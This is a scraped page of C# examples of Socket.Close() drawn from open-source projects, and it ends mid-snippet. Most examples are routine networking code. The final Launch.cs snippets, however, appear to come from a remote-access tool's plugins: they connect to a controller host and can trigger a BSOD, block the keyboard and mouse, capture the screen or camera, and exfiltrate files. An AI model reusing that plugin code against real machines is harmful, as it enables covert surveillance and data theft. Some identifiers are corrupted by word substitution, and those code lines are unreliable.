Here are the examples of the csharp api System.Net.Sockets.Socket.Close() taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.
854 Examples
19
Source : LogService.cs
with MIT License
from 0ffffffffh
with MIT License
from 0ffffffffh
public static void Stop()
{
running = false;
sock.Close();
sock.Dispose();
logFile.Dispose();
worker.Join();
}
19
Source : Server.cs
with MIT License
from 1ZouLTReX1
with MIT License
from 1ZouLTReX1
static void CloseServer()
{
if (listenerSocket == null)
return;
if (isRunning) {
isRunning = false;
if (listenerSocket.Connected)
listenerSocket.Shutdown(SocketShutdown.Both);
listenerSocket.Close();
listenerSocket = null;
Debug.Log("s: " + listenerSocket == null);
}
}
19
Source : Server.cs
with MIT License
from 1ZouLTReX1
with MIT License
from 1ZouLTReX1
static void OnUserDisconnect(Socket sock)
{
try
{
sock.Close();
lock (disconnectedClients)
{
if (clients.ContainsKey(sock))
disconnectedClients.Add(sock);
}
InputsOG.Remove(sock);
OutputsOG.Remove(sock);
//Console.WriteLine("Client Disconnected");
}
catch (Exception e)
{
Debug.Log("OnUserDisconnect: " + e);
}
}
19
Source : Client.cs
with MIT License
from 1ZouLTReX1
with MIT License
from 1ZouLTReX1
public void Disconnect()
{
if (isConnected)
{
isConnected = false;
clientSock.Close();
Debug.Log("Disconnected from the Server");
}
}
19
Source : Server.cs
with MIT License
from 1ZouLTReX1
with MIT License
from 1ZouLTReX1
public void StartListening()
{
List<Socket> Inputs;
List<Socket> Errors;
Console.WriteLine("Main Loop Listening");
InputsOG.Add(listenerSocket);
isRunning = true;
while (isRunning)
{
Inputs = InputsOG.ToList();
Errors = InputsOG.ToList();
Socket.Select(Inputs, null, Errors, -1);
foreach (Socket sock in Inputs)
{
if (sock == listenerSocket)
{
// If the sock is the server socket then we got a new player.
// So we need to Accept the socket and replacedign the socket an available new player ID and enreplacedy.
Socket newConnection = sock.Accept();
if (playerIdList.Count > 0)
{
OnUserConnect(newConnection);
}
else
{
Debug.Log($"{newConnection.RemoteEndPoint} failed to connect: Server full!");
newConnection.Close();
}
}
else if (sock != null)
{
if (!isRunning)
return;
try
{
User usr = clients[sock];
// Receive and process one message at a time.
bool result = usr.ReceiveOnce();
if (result == false)
{
OnUserDisconnect(sock);
}
}
catch { }
}
}
foreach (Socket sock in Errors)
{
Console.WriteLine("Client Disconnected: Cause - Error");
OnUserDisconnect(sock);
}
Errors.Clear();
}
Debug.Log("Stop Listening");
}
19
Source : RedisSocket.cs
with MIT License
from 2881099
with MIT License
from 2881099
public void Dispose()
{
if (isDisposed) return;
isDisposed = true;
try { _socket.Shutdown(SocketShutdown.Both); } catch { }
try { _socket.Close(); } catch { }
try { _socket.Dispose(); } catch { }
}
19
Source : RedisSocket.cs
with MIT License
from 2881099
with MIT License
from 2881099
void InitSocket(EndPoint endpoint)
{
if (_socket != null)
{
try { _socket.Shutdown(SocketShutdown.Both); } catch { }
try { _socket.Close(); } catch { }
try { _socket.Dispose(); } catch { }
}
isDisposed = false;
_socket = endpoint.AddressFamily == AddressFamily.InterNetworkV6 ?
new Socket(AddressFamily.InterNetworkV6, SocketType.Stream, ProtocolType.Tcp) :
new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
_remote = endpoint;
}
19
Source : Resp3HelperTests.cs
with MIT License
from 2881099
with MIT License
from 2881099
public void Dispose()
{
_socket.Shutdown(SocketShutdown.Both);
_socket.Close();
_socket.Dispose();
}
19
Source : DefaultRedisSocket.cs
with MIT License
from 2881099
with MIT License
from 2881099
public void ReleaseSocket()
{
lock (_connectLock)
{
if (_socket != null)
{
try { _socket.Shutdown(SocketShutdown.Both); } catch { }
try { _socket.Close(); } catch { }
try { _socket.Dispose(); } catch { }
_socket = null;
}
if (_stream != null)
{
try { _stream.Close(); } catch { }
try { _stream.Dispose(); } catch { }
_stream = null;
}
_reader = null;
}
}
19
Source : SpeedtestHandler.cs
with GNU General Public License v3.0
from 2dust
with GNU General Public License v3.0
from 2dust
private int GetTcpingTime(string url, int port)
{
int responseTime = -1;
try
{
if (!IPAddress.TryParse(url, out IPAddress ipAddress))
{
IPHostEntry ipHostInfo = System.Net.Dns.GetHostEntry(url);
ipAddress = ipHostInfo.AddressList[0];
}
Stopwatch timer = new Stopwatch();
timer.Start();
IPEndPoint endPoint = new IPEndPoint(ipAddress, port);
Socket clientSocket = new Socket(endPoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
IAsyncResult result = clientSocket.BeginConnect(endPoint, null, null);
if (!result.AsyncWaitHandle.WaitOne(TimeSpan.FromSeconds(5)))
throw new TimeoutException("connect timeout (5s): " + url);
clientSocket.EndConnect(result);
timer.Stop();
responseTime = timer.Elapsed.Milliseconds;
clientSocket.Close();
}
catch (Exception ex)
{
Utils.SaveLog(ex.Message, ex);
}
return responseTime;
}
19
Source : ClientNetworkManager.cs
with MIT License
from 404Lcc
with MIT License
from 404Lcc
public void Close()
{
socket.Shutdown(SocketShutdown.Both);
socket.Close();
socket = null;
cacheList.Clear();
receive = false;
}
19
Source : RtmpServer.cs
with MIT License
from a1q123456
with MIT License
from a1q123456
private async void AcceptCallback(IAsyncResult ar, CancellationToken ct)
{
Socket listener = (Socket)ar.AsyncState;
Socket client = listener.EndAccept(ar);
client.NoDelay = true;
// Signal the main thread to continue.
_allDone.Set();
IOPipeLine pipe = null;
try
{
pipe = new IOPipeLine(client, _options);
await pipe.StartAsync(ct);
}
catch (TimeoutException)
{
client.Close();
}
catch (Exception e)
{
Console.WriteLine("{0} Message: {1}", e.GetType().ToString(), e.Message);
Console.WriteLine(e.StackTrace);
client.Close();
}
finally
{
pipe?.Dispose();
}
}
19
Source : IOPipeLine.cs
with MIT License
from a1q123456
with MIT License
from a1q123456
internal void Disconnect()
{
_socket.Close();
Dispose();
}
19
Source : ExternalCommunicator.cs
with Apache License 2.0
from A7ocin
with Apache License 2.0
from A7ocin
private void OnApplicationQuit()
{
sender.Close();
sender.Shutdown(SocketShutdown.Both);
}
19
Source : Form1.cs
with Apache License 2.0
from abaga129
with Apache License 2.0
from abaga129
private void DisconnectFromServer()
{
Server.Close();
}
19
Source : Form1.cs
with Apache License 2.0
from abaga129
with Apache License 2.0
from abaga129
public void ReceiveCallback(IAsyncResult asyncResult)
{
Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try
{
StateObject state = (StateObject)asyncResult.AsyncState;
client = state.client;
int bytesRead = client.EndReceive(asyncResult);
if(bytesRead.Equals(160))
SetPins(Encoding.ASCII.GetString(state.buffer, 0, bytesRead));
string message = GetMessage();
Send(client, message);
if (continueRecv)
{
client.BeginReceive(state.buffer, 0, StateObject.BufferSize, 0, new AsyncCallback(ReceiveCallback), state);
}
else
{
client.Close();
StatusLabel.Text = "Disconnected From Server";
}
}
catch (Exception E)
{
StatusLabel.Text = "Disconnected by Host";
}
}
19
Source : ConnectionListener.cs
with GNU Affero General Public License v3.0
from ACEmulator
with GNU Affero General Public License v3.0
from ACEmulator
public void Shutdown()
{
log.DebugFormat("Shutting down ConnectionListener, host {0} port {1}", listeningHost, listeningPort);
if (Socket != null && Socket.IsBound)
Socket.Close();
}
19
Source : RedisLite.cs
with MIT License
from AElfProject
with MIT License
from AElfProject
private void Connect()
{
socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{
SendTimeout = SendTimeout,
ReceiveTimeout = ReceiveTimeout
};
try
{
if (ConnectTimeout == 0)
{
socket.Connect(Host, Port);
}
else
{
var connectResult = socket.BeginConnect(Host, Port, null, null);
connectResult.AsyncWaitHandle.WaitOne(ConnectTimeout, true);
}
if (!socket.Connected)
{
socket.Close();
socket = null;
HadExceptions = true;
return;
}
Bstream = new BufferedStream(new NetworkStream(socket), 16 * 1024);
if (Preplacedword != null)
SendExpectSuccess(Commands.Auth, Preplacedword.ToUtf8Bytes());
if (_db != 0)
SendExpectSuccess(Commands.Select, _db.ToUtf8Bytes());
clientPort = socket.LocalEndPoint is IPEndPoint ipEndpoint ? ipEndpoint.Port : -1;
lastCommand = null;
lastSocketException = null;
LastConnectedAtTimestamp = Stopwatch.GetTimestamp();
}
catch (SocketException ex)
{
socket?.Close();
socket = null;
HadExceptions = true;
var throwEx = new Exception("could not connect to redis Instance at " + Host + ":" + Port, ex);
Log(throwEx.Message, ex);
throw throwEx;
}
}
19
Source : RedisLite.cs
with MIT License
from AElfProject
with MIT License
from AElfProject
private void SafeConnectionClose()
{
try
{
// workaround for a .net http://support.microsoft.com/kb/821625
Bstream?.Close();
socket?.Close();
}
catch
{
}
Bstream = null;
socket = null;
}
19
Source : RedisLite.cs
with MIT License
from AElfProject
with MIT License
from AElfProject
private bool HandleSocketException(SocketException ex)
{
HadExceptions = true;
Console.WriteLine($"SocketException: {ex}");
lastSocketException = ex;
// timeout?
socket.Close();
socket = null;
return false;
}
19
Source : Client.cs
with Apache License 2.0
from aequabit
with Apache License 2.0
from aequabit
public void Disconnect()
{
if (Processing[0])
{
return;
}
else
{
Processing[0] = true;
}
bool Raise = _Connected;
_Connected = false;
if (Handle != null)
{
Handle.Close();
}
if (SendQueue != null)
{
SendQueue.Clear();
}
SendBuffer = new byte[-1 + 1];
ReadBuffer = new byte[-1 + 1];
if (Raise)
{
O.Post(state => OnStateChanged(false), null);
}
if (Items != null)
{
Items[0].Dispose();
Items[1].Dispose();
}
_UserState = null;
_EndPoint = null;
}
19
Source : Server.cs
with Apache License 2.0
from aequabit
with Apache License 2.0
from aequabit
public void Disconnect()
{
if (Processing[0])
{
return;
}
else
{
Processing[0] = true;
}
bool Raise = _Connected;
_Connected = false;
if (Handle != null)
{
Handle.Close();
}
if (SendQueue != null)
{
SendQueue.Clear();
}
SendBuffer = new byte[-1 + 1];
ReadBuffer = new byte[-1 + 1];
if (Raise)
{
OnStateChanged(false);
}
if (Items != null)
{
Items[0].Dispose();
Items[1].Dispose();
}
_UserState = null;
_EndPoint = null;
}
19
Source : Server.cs
with Apache License 2.0
from aequabit
with Apache License 2.0
from aequabit
public void Disconnect()
{
if (Processing)
{
return;
}
else
{
Processing = true;
}
if (Handle != null)
{
Handle.Close();
}
lock (_Clients)
{
while (_Clients.Count > 0)
{
_Clients[0].Disconnect();
_Clients.RemoveAt(0);
}
}
if (Item != null)
{
Item.Dispose();
}
_Listening = false;
OnStateChanged(false);
}
19
Source : CommunicationManager.cs
with Apache License 2.0
from Aggrathon
with Apache License 2.0
from Aggrathon
void Thread()
{
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try
{
socket.Connect("localhost", PORT);
while (!endThread)
{
if (socket.Receive(buffer) == 0)
break;
switch (buffer[0])
{
case RECORD:
car.userInput = true;
unsetFastForward = true;
requireTexture = true;
while (requireTexture) ;
if (socket.Send(buffer, statusSize, SocketFlags.None) == 0)
endThread = true;
break;
case DRIVE:
car.userInput = false;
car.horizontalSteering = ((float)buffer[1]) / 127.5f - 1f;
car.verticalSteering = ((float)buffer[2]) / 127.5f - 1f;
setFastForward = true;
requireTexture = true;
while (requireTexture) ;
if (socket.Send(buffer, statusSize, SocketFlags.None) == 0)
endThread = true;
break;
case HEARTBEAT:
break;
case DISCONNECT:
endThread = true;
break;
case PLAY:
setPlay = true;
break;
case PAUSE:
setPause = true;
break;
}
}
}
catch (ThreadAbortException)
{
}
catch (SocketException)
{
}
catch (System.Exception e)
{
Debug.LogException(e);
}
finally
{
socket.Shutdown(SocketShutdown.Both);
socket.Close();
thread = null;
car.userInput = true;
}
}
19
Source : Session.cs
with GNU General Public License v3.0
from AlanMorel
with GNU General Public License v3.0
from AlanMorel
private void CloseClient()
{
// Must close socket before network stream to prevent lingering
Client?.Client?.Close();
Client?.Close();
}
19
Source : KUdpMulticastDiscovery.cs
with MIT License
from alethic
with MIT License
from alethic
public async Task StopAsync(CancellationToken cancellationToken = default)
{
using (await sync.LockAsync(cancellationToken))
{
host.EndpointsChanged -= OnEndpointsChanged;
// shutdown socket
if (mcastSocket != null)
{
// swap for null
var s = mcastSocket;
mcastSocket = null;
try
{
s.Close();
s.Dispose();
}
catch (ObjectDisposedException)
{
}
}
// shutdown socket
if (localSocket != null)
{
// swap for null
var s = localSocket;
localSocket = null;
try
{
s.Close();
s.Dispose();
}
catch (ObjectDisposedException)
{
}
}
if (runCts != null)
{
runCts.Cancel();
runCts = null;
}
if (run != null)
{
try
{
await run;
}
catch (OperationCanceledException)
{
// ignore
}
}
}
}
19
Source : NinjaTraderClient.cs
with Apache License 2.0
from AlexWan
with Apache License 2.0
from AlexWan
private string SendMessage(string message)
{
// Connect to remote device / Соединяемся с удаленным устройством
// Set a remote point for socket / Устанавливаем удаленную точку для сокета
IPHostEntry ipHost = Dns.GetHostEntry("localhost");
IPAddress ipAddr = ipHost.AddressList[1];
IPEndPoint ipEndPoint = new IPEndPoint(ipAddr, 11000);
Socket sender = new Socket(ipAddr.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
// Connecting socket to remote point / Соединяем сокет с удаленной точкой
try
{
sender.Connect(ipEndPoint);
}
catch (Exception)
{
SendLogMessage(OsLocalization.Market.Message76,
LogMessageType.Error);
Thread.Sleep(10000);
}
byte[] msg = Encoding.UTF8.GetBytes(message);
// send data through socket / Отправляем данные через сокет
sender.Send(msg);
// Input buffer / Буфер для входящих данных
byte[] bytes = new byte[1024];
if (message == "GetSecurities")
{
bytes = new byte[1048576];
}
// get response from the server / Получаем ответ от сервера
int bytesRec = sender.Receive(bytes);
string request = Encoding.UTF8.GetString(bytes, 0, bytesRec);
// clear socket / Освобождаем сокет
sender.Shutdown(SocketShutdown.Both);
sender.Close();
return request;
}
19
Source : ModSocket.cs
with MIT License
from amazingalek
with MIT License
from amazingalek
public void Close()
{
Thread.Sleep(TimeSpan.FromSeconds(CloseWaitSeconds));
_socket?.Close();
}
19
Source : NtpClient.cs
with GNU General Public License v2.0
from AmanoTooko
with GNU General Public License v2.0
from AmanoTooko
public TimeSpan GetOffset(out double errorMilliseconds)
{
TimeSpan offset=new TimeSpan(0);
var addresses = Dns.GetHostEntry(_server).AddressList;
var ipEndPoint = new IPEndPoint(addresses[0], 123);
var socket =
new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp) {ReceiveTimeout = 3000};
errorMilliseconds = 0;
try
{
var ntpData = new byte[48];
ntpData[0] = 0x1B;
socket.Connect(ipEndPoint);
var localTransmitTime = DateTime.UtcNow; //T1
socket.Send(ntpData);
socket.Receive(ntpData);
var localReceiveTime = DateTime.UtcNow; //T4
socket.Close();
var timeData = new byte[8];
Array.Copy(ntpData, 32, timeData, 0, 8);
var receiveTime = byteToTime(timeData); //T2
Array.Copy(ntpData, 40, timeData, 0, 8);
var transmitTime = byteToTime(timeData); //T3
var fractPart = ((ulong) ntpData[10] << 8) |
ntpData[11];
errorMilliseconds = fractPart * 1000 / 0x10000L;
offset = localReceiveTime - transmitTime - (receiveTime - localTransmitTime); //((T4-T3)-(T2-T1))/2
CommonUtilities.WriteLog($"localTransmitTime={localTransmitTime.ToString("O")}\r\n " +
$"localReceiveTime = {localReceiveTime.ToString("O")}\r\n " +
$"serverReceiveTime={receiveTime.ToString("O")}\r\n" +
$"serverTransmitTime={transmitTime.ToString("O")}\r\n" +
$"offset={offset.TotalMilliseconds}ms\r\n" +
$"error={errorMilliseconds}ms");
}
catch (Exception e)
{
CommonUtilities.WriteLog(e.Message);
MessageBox.Show("同步失败\r\n" + e.Message);
throw e;
}
return offset;
}
19
Source : EndPointListener.cs
with MIT License
from andruzzzhka
with MIT License
from andruzzzhka
private static void onAccept (IAsyncResult asyncResult)
{
var lsnr = (EndPointListener) asyncResult.AsyncState;
Socket sock = null;
try {
sock = lsnr._socket.EndAccept (asyncResult);
}
catch (SocketException) {
}
catch (ObjectDisposedException) {
return;
}
try {
lsnr._socket.BeginAccept (onAccept, lsnr);
}
catch {
if (sock != null)
sock.Close ();
return;
}
if (sock == null)
return;
processAccepted (sock, lsnr);
}
19
Source : EndPointListener.cs
with MIT License
from andruzzzhka
with MIT License
from andruzzzhka
private static void processAccepted (Socket socket, EndPointListener listener)
{
HttpConnection conn = null;
try {
conn = new HttpConnection (socket, listener);
lock (listener._unregisteredSync)
listener._unregistered[conn] = conn;
conn.BeginReadRequest ();
}
catch {
if (conn != null) {
conn.Close (true);
return;
}
socket.Close ();
}
}
19
Source : EndPointListener.cs
with MIT License
from andruzzzhka
with MIT License
from andruzzzhka
public void Close ()
{
_socket.Close ();
HttpConnection[] conns = null;
lock (_unregisteredSync) {
if (_unregistered.Count == 0)
return;
var keys = _unregistered.Keys;
conns = new HttpConnection[keys.Count];
keys.CopyTo (conns, 0);
_unregistered.Clear ();
}
for (var i = conns.Length - 1; i >= 0; i--)
conns[i].Close (true);
}
19
Source : HttpConnection.cs
with MIT License
from andruzzzhka
with MIT License
from andruzzzhka
private void closeSocket ()
{
try {
_socket.Shutdown (SocketShutdown.Both);
}
catch {
}
_socket.Close ();
_socket = null;
}
19
Source : KService.cs
with MIT License
from AnotherEnd15
with MIT License
from AnotherEnd15
public override void Dispose()
{
foreach (long channelId in this.idChannels.Keys.ToArray())
{
this.Remove(channelId);
}
this.socket.Close();
this.socket = null;
}
19
Source : TChannel.cs
with MIT License
from AnotherEnd15
with MIT License
from AnotherEnd15
public override void Dispose()
{
if (this.IsDisposed)
{
return;
}
Log.Info($"channel dispose: {this.Id} {this.RemoteAddress}");
long id = this.Id;
this.Id = 0;
this.Service.Remove(id);
this.socket.Close();
this.innArgs.Dispose();
this.outArgs.Dispose();
this.innArgs = null;
this.outArgs = null;
this.socket = null;
}
19
Source : TService.cs
with MIT License
from AnotherEnd15
with MIT License
from AnotherEnd15
public override void Dispose()
{
this.acceptor?.Close();
this.acceptor = null;
this.innArgs.Dispose();
ThreadSynchronizationContext = null;
foreach (long id in this.idChannels.Keys.ToArray())
{
TChannel channel = this.idChannels[id];
channel.Dispose();
}
this.idChannels.Clear();
}
19
Source : TelnetAppender.cs
with Apache License 2.0
from apache
with Apache License 2.0
from apache
public void Dispose()
{
try
{
if (m_writer != null)
{
m_writer.Dispose();
m_writer = null;
}
}
catch { }
if (m_socket != null)
{
try
{
m_socket.Shutdown(SocketShutdown.Both);
}
catch { }
try
{
#if NET_4_0 || NETSTANDARD
m_socket.Dispose();
#else
m_socket.Close();
#endif
}
catch { }
m_socket = null;
}
}
19
Source : PhotonPing.cs
with MIT License
from ArcturusZhang
with MIT License
from ArcturusZhang
public override void Dispose()
{
try
{
this.sock.Close();
}
catch
{
}
this.sock = null;
}
19
Source : MjpegStreamer.cs
with MIT License
from AristotelisChantzaras
with MIT License
from AristotelisChantzaras
public void Stop()
{
if (this.IsRunning)
{
try
{
_Thread.Join();
_Thread.Abort();
}
finally
{
lock (_Clients)
{
foreach (var s in _Clients)
{
try
{
s.Close();
}
catch(Exception e)
{
System.Diagnostics.Debug.WriteLine(e.Message);
}
}
_Clients.Clear();
}
_Thread = null;
}
}
}
19
Source : ProxySocket.cs
with MIT License
from ARKlab
with MIT License
from ARKlab
private void OnHandShakeComplete(Exception error) {
if (error != null)
this.Close();
ToThrow = error;
AsyncResult.Reset();
if (CallBack != null)
CallBack(AsyncResult);
}
19
Source : Launch.cs
with MIT License
from arsium
with MIT License
from arsium
public async static Task Main(Host H, string HWID, object[] Param, Socket Base, string key, string BaseIP)
{
byte[] b;
try
{
Socket S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
IPEndPoint ep = new IPEndPoint(IPAddress.Parse(H.host), H.port);
S.Connect(ep);
Shared.PacketTypes.PacketType T = (Shared.PacketTypes.PacketType)Param[0];
Data D = new Data();
switch (T)
{
case Shared.PacketTypes.PacketType.LOG_OUT_SYS:
await Task.Run(() => Functions.PowerOptions(NativeAPI.Miscellaneous.EWX_LOGOFF, 0));
break;
case Shared.PacketTypes.PacketType.REBOOT_SYS:
await Task.Run(() => Functions.PowerOptions(NativeAPI.Miscellaneous.EWX_REBOOT, 0 | NativeAPI.Miscellaneous.SHTDN_REASON_MINOR_BLUESCREEN));
break;
case Shared.PacketTypes.PacketType.POWER_OFF_SYS:
await Task.Run(() => Functions.PowerOptions(NativeAPI.Miscellaneous.EWX_POWEROFF, 0 | NativeAPI.Miscellaneous.SHTDN_REASON_MAJOR_SOFTWARE));
break;
case PacketTypes.PacketType.SUSPEND_SYS:
await Task.Run(() => Functions.Suspend());
break;
case PacketTypes.PacketType.HIBERNATE_SYS:
await Task.Run(() => Functions.Hibernate());
break;
case Shared.PacketTypes.PacketType.HIDE_DI:
await Task.Run(() => Functions.DesktopIcons(false));
break;
case Shared.PacketTypes.PacketType.SHOW_DI:
await Task.Run(() => Functions.DesktopIcons(true));
break;
case Shared.PacketTypes.PacketType.HIDE_TB:
await Task.Run(() => Functions.TaskBar(0));
break;
case Shared.PacketTypes.PacketType.SHOW_TB:
await Task.Run(() => Functions.TaskBar(1));
break;
case PacketTypes.PacketType.SCRL_ON:
await Task.Run(() => Functions.StartScreenLocker());
break;
case PacketTypes.PacketType.SRCL_OFF:
await Task.Run(() => Functions.StopScreenLocker());
break;
case Shared.PacketTypes.PacketType.BSOD_SYS:
await Task.Run(() => Functions.BSOD());
break;
case PacketTypes.PacketType.KB_ON:
await Task.Run(() => Functions.UnhookKeyboard());
break;
case PacketTypes.PacketType.KB_OFF:
await Task.Run(() => Functions.HookKeyboard());
break;
case PacketTypes.PacketType.MS_ON:
await Task.Run(() => Functions.UnhookMouse());
break;
case PacketTypes.PacketType.MS_OFF:
await Task.Run(() => Functions.HookMouse());
break;
case PacketTypes.PacketType.SET_DESK_WP:
b = (byte[])Param[1];
await Task.Run(() => Functions.SetWallPaper(b , Param[2].ToString()));
break;
case PacketTypes.PacketType.GET_PRIV:
await Task.Run(() => Functions.GetPrivilege((int)Param[1], ref D));
D.HWID = HWID;
D.Type = Shared.PacketTypes.PacketType.GET_PRIV;
D.IP_Origin = BaseIP;
await Task.Run(() => SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
}
S.Close();
S.Dispose();
}
catch (Exception)
{
}
finally
{
Shared.Utils.ClearMem();
}
}
19
Source : Launch.cs
with MIT License
from arsium
with MIT License
from arsium
public static void Main(Host H, string HWID, object[] Param, Socket Base, string key, string BaseIP)
{
try
{
Socket S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
IPEndPoint ep = new IPEndPoint(IPAddress.Parse(H.host), H.port);
S.Connect(ep);
Shared.PacketTypes.PacketType T = (Shared.PacketTypes.PacketType)Param[0];
Data D = new Data();
switch (T)
{
case Shared.PacketTypes.PacketType.REMOTE_VIEW:
Socket SCam = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
IPEndPoint epCam = new IPEndPoint(IPAddress.Parse(H.host), H.port);
SCam.Connect(epCam);
Functions.C = new Client(SCam);
Functions.hasToCapture = true;
Functions.SendCapture((int)Param[1], (int)Param[2], (int)Param[3], Param[4].ToString(), HWID, key, BaseIP);
/*
* Old code , working but slower because each capture needs to get plugin from server !
byte[] captured = Shared.Compressor.QuickLZ.Compress(Functions.Capture((int)Param[1], (int)Param[2], (int)Param[3], Param[4].ToString()), 1);;
D.HWID = HWID;
D.Type = Shared.PacketTypes.PacketType.REMOTE_VIEW;
D.DataReturn = new object[] { captured, Screen.AllScreens[0].Bounds.Size };
D.IP_Origin = BaseIP;
await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));*/
break;
}
S.Close();
S.Dispose();
}
catch { }
finally
{
Shared.Utils.ClearMem();
}
}
19
Source : Client.cs
with MIT License
from arsium
with MIT License
from arsium
public void CloseClient()
{
this.S.Shutdown(System.Net.Sockets.SocketShutdown.Both);
this.S.Close();
this.S.Dispose();
this.Dispose();
}
19
Source : Launch.cs
with MIT License
from arsium
with MIT License
from arsium
public async static Task Main(Host H, string HWID, object[] Param, Socket Base, string key, string BaseIP)
{
try
{
Socket S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
IPEndPoint ep = new IPEndPoint(IPAddress.Parse(H.host), H.port);
S.Connect(ep);
Shared.PacketTypes.PacketType T = (Shared.PacketTypes.PacketType)Param[0];
Data D = new Data();
switch (T)
{
case Shared.PacketTypes.PacketType.GET_CAMERAS:
{
List<string> CameraList = Functions.GetCameras();
D.HWID = HWID;
D.Type = Shared.PacketTypes.PacketType.GET_CAMERAS;
D.DataReturn = new object[] { CameraList };
D.IP_Origin = BaseIP;
await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
}
case Shared.PacketTypes.PacketType.CAPTURE_CAMERA:
Socket SCam = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
IPEndPoint epCam = new IPEndPoint(IPAddress.Parse(H.host), H.port);
SCam.Connect(epCam);
Functions.C = new Client(SCam);
Functions.hasToCapture = true;
Functions.Capture((int)Param[1], (int)Param[2], H, HWID, key, BaseIP);
break;
}
S.Close();
S.Dispose();
}
catch { }
finally
{
Shared.Utils.ClearMem();
}
}
19
Source : Launch.cs
with MIT License
from arsium
with MIT License
from arsium
public async static Task Main(Host H, string HWID, object[] Param, Socket Base, string key, string BaseIP)
{
try
{
Socket S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
IPEndPoint ep = new IPEndPoint(IPAddress.Parse(H.host), H.port);
S.Connect(ep);
Shared.PacketTypes.PacketType T = (Shared.PacketTypes.PacketType)Param[0];
Data D = new Data();
switch (T)
{
case Shared.PacketTypes.PacketType.GET_D:
await Task.Run(() => Functions.GetDisks(ref D));
D.HWID = HWID;
D.Type = Shared.PacketTypes.PacketType.GET_D;
D.IP_Origin = BaseIP;
await Task.Run(() => SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
case PacketTypes.PacketType.GET_F:
Dictionary<int, List<object[]>> ListOfFilesAndDirs = await Task.Run(() => Functions.GetFilesAndDirs((string)Param[1]));
D.HWID = HWID;
D.Type = Shared.PacketTypes.PacketType.GET_F;
D.DataReturn = new object[] { ListOfFilesAndDirs };
D.IP_Origin = BaseIP;
await Task.Run(() => SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
case PacketTypes.PacketType.DELETE_F:
bool deleted = await Task.Run(() => Functions.DeleteFile(Param[1].ToString()));
D.HWID = HWID;
D.Type = Shared.PacketTypes.PacketType.DELETE_F;
D.DataReturn = new object[] { deleted , Param[1].ToString() };
D.IP_Origin = BaseIP;
await Task.Run(() => SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
case PacketTypes.PacketType.DOWNLOAD_F:
byte[] b = new byte[] { };
bool downloaded = await Task.Run(() => Functions.DownloadFile(Param[1].ToString(),ref b));
D.HWID = HWID;
D.Type = Shared.PacketTypes.PacketType.DOWNLOAD_F;
D.DataReturn = new object[] { downloaded, Param[1].ToString(), b };
D.IP_Origin = BaseIP;
await Task.Run(() => SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
case PacketTypes.PacketType.UPLOAD_F:
byte[] file = (byte[])Param[2];
bool uploaded = await Task.Run(() => Functions.UploadFile(Param[1].ToString(), file));
break;
case PacketTypes.PacketType.LAUNCH_F:
bool launched = await Task.Run(() => Functions.LaunchFile(Param[1].ToString()));
break;
case PacketTypes.PacketType.RENAME_F:
bool renamed = await Task.Run(() => Functions.RenameFile(Param[1].ToString(), Param[2].ToString()));
break;
case Shared.PacketTypes.PacketType.SHORTCUT_DESKTOP:
await Task.Run(() => Functions.ShortCutFolder(Environment.SpecialFolder.Desktop ,ref D));
D.HWID = HWID;
D.Type = Shared.PacketTypes.PacketType.SHORTCUT_DESKTOP;
D.IP_Origin = BaseIP;
await Task.Run(() => SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
case Shared.PacketTypes.PacketType.SHORTCUT_DOreplacedENTS:
await Task.Run(() => Functions.ShortCutFolder(Environment.SpecialFolder.MyDoreplacedents, ref D));
D.HWID = HWID;
D.Type = Shared.PacketTypes.PacketType.SHORTCUT_DOreplacedENTS;
D.IP_Origin = BaseIP;
await Task.Run(() => SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
case PacketTypes.PacketType.SHORTCUT_DOWNLOADS:
await Task.Run(() => Functions.SpecialShortCutFolder(NativeAPI.Folder.Downloads, ref D));
D.HWID = HWID;
D.Type = Shared.PacketTypes.PacketType.SHORTCUT_DOWNLOADS;
D.IP_Origin = BaseIP;
await Task.Run(() => SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
}
S.Close();
S.Dispose();
}
catch (Exception)
{
}
finally
{
Shared.Utils.ClearMem();
}
}
19
Source : Launch.cs
with MIT License
from arsium
with MIT License
from arsium
public async static Task Main(Host H, string HWID, object[] Param, Socket Base, string key, string BaseIP)
{
try
{
Socket S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
IPEndPoint ep = new IPEndPoint(IPAddress.Parse(H.host), H.port);
S.Connect(ep);
Shared.PacketTypes.PacketType T = (Shared.PacketTypes.PacketType)Param[0];
Data D = new Data();
switch (T)
{
case PacketTypes.PacketType.GET_PROC:
await Task.Run(() => Functions.GetProcesses(ref D));
D.HWID = HWID;
